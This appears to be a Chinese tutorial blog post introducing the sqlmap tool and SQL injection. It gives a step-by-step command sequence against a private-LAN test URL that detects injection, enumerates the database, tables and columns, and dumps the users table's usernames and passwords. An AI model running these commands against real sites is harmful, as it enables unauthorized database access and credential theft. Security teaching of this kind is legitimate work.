1. 程式人生 > 實用技巧 >sql注入7:sqlmap簡單操作

sql注入7:sqlmap簡單操作

一、sqlmap是什麼,具有什麼特點?

  sqlmap是開源的自動化SQL注入工具,由Python寫成,具有如下特點:

  完全支援MySQL、Oracle、PostgreSQL、Microsoft SQLServer、Microsoft Acess、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、HSQLDB和informix等多種資料庫管理系統。

  完全支援布林型盲注、時間盲注、基於錯誤資訊的注入、聯合查詢注入和堆查詢注入。

  在資料庫證書、IP地址、埠和資料庫名等條件允許的情況下支援不通過SQL注入點而直接連線資料庫。

  支援列舉使用者、密碼、雜湊、許可權、角色、資料庫、資料表和列

  支援自動識別密碼雜湊格式並通過字典破解密碼雜湊

  支援完全下載某個資料庫中的某個表,也可以只下載某個表中的某幾列,甚至只下載一列中的部分資料,這完全取決於使用者的選擇。

  支援在資料庫管理系統中搜集指定的資料庫名、表名或列名

  當資料庫管理系統是MySQL、PostgreSQL或Microsofe SQLServer時支援下載或上傳檔案

  當資料庫管理系統是MySQL、PostgreSQL或Microsofe SQLServer時執行任意命令並回顯標準輸出

二、簡單瞭解sql注入

  1.SQL注入是什麼

    通過SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字元,最終達到欺騙伺服器執行    惡意的SQL命令。其主要原因時程式沒有細緻地過濾使用者輸入的資料,導致非法資料侵入系統。

  2.使用sqlmap進行簡單注入操作

   測地址試:http://192.168.1.5/727/index.php?id=1 

    具體步驟:

    檢視是否存在sql注入

    sqlmap.py -u http://192.168.1.5/727/index.php?id=1

    

    列出當前使用的庫

    sqlmap.py -u http://192.168.1.8/727/index.php?id=1 --current-db

   

    現在我們拿到了所使用的庫為jokedb,然後由此拿到庫中的表名

    sqlmap.py -u http://192.168.1.8/727/index.php?id=1 -D jokedb --tables

    

    拿到表名後,就可以對他的欄位進行測試

    sqlmap.py -u http://192.168.1.8/727/index.php?id=1 -D jokedb -T users --columns

    

    最後一步查看錶中的資料

    sqlmap.py -u http://192.168.1.8/727/index.php?id=1 -D jokedb -T users -C user,pass --dump